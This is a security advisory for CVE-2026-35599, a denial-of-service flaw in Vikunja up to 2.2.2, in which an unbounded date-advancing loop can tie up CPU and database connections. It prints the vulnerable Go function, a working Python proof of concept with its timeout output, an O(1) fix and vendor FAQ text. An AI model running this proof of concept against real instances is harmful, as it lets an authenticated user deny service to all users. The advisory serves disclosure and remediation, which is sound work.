CVE-2026-35599

The addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.

Details

The vulnerable function at pkg/models/tasks.go:1456-1464:

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
    for {
        t = t.Add(duration)
        if t.After(now) {
            break
        }
    }
    return t
}

The RepeatAfter field accepts any positive integer (validated as range(0|9223372036854775807)), and DueDate accepts any valid timestamp including dates far in the past. When a task with repeat_after=1 and due_date=1900-01-01 is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).

Each request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests, time

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "DoS Test"}).json()

# create task with repeat_after=1 second and a date far in the past
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h,
    json={"title": "DoS", "repeat_after": 1,
          "due_date": "1900-01-01T00:00:00Z"}).json()

# mark done - triggers the vulnerable loop
start = time.time()
try:
    r = requests.post(f"{API}/tasks/{task['id']}", headers=h,
        json={"title": "DoS", "done": True}, timeout=120)
    print(f"Response: {r.status_code} in {time.time()-start:.1f}s")
except requests.exceptions.Timeout:
    print(f"TIMEOUT after {time.time()-start:.1f}s")

Output:

TIMEOUT after 60.0s

The request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, due_date=2020-01-01 completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.

Any authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.

CVE-2026-35599 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.0); upgrading removes the vulnerable code path.

Kodem intelligence

Replace the O(n) loop with O(1) arithmetic:

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
    if duration <= 0 {
        return t
    }
    diff := now.Sub(t)
    if diff <= 0 {
        return t.Add(duration)
    }
    intervals := int64(diff/duration) + 1
    return t.Add(time.Duration(intervals) * duration)
}

Found and reported by aisafe.io

1. What is CVE-2026-35599? CVE-2026-35599 is a medium-severity security vulnerability in code.vikunja.io/api (go), affecting versions <= 2.2.2. It is fixed in 2.3.0.
2. How severe is CVE-2026-35599? CVE-2026-35599 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of code.vikunja.io/api are affected by CVE-2026-35599? code.vikunja.io/api (go) versions <= 2.2.2 is affected.
4. Is there a fix for CVE-2026-35599? Yes. CVE-2026-35599 is fixed in 2.3.0. Upgrade to this version or later.
5. Is CVE-2026-35599 exploitable, and should I be worried? Whether CVE-2026-35599 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35599 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35599? Upgrade code.vikunja.io/api to 2.3.0 or later.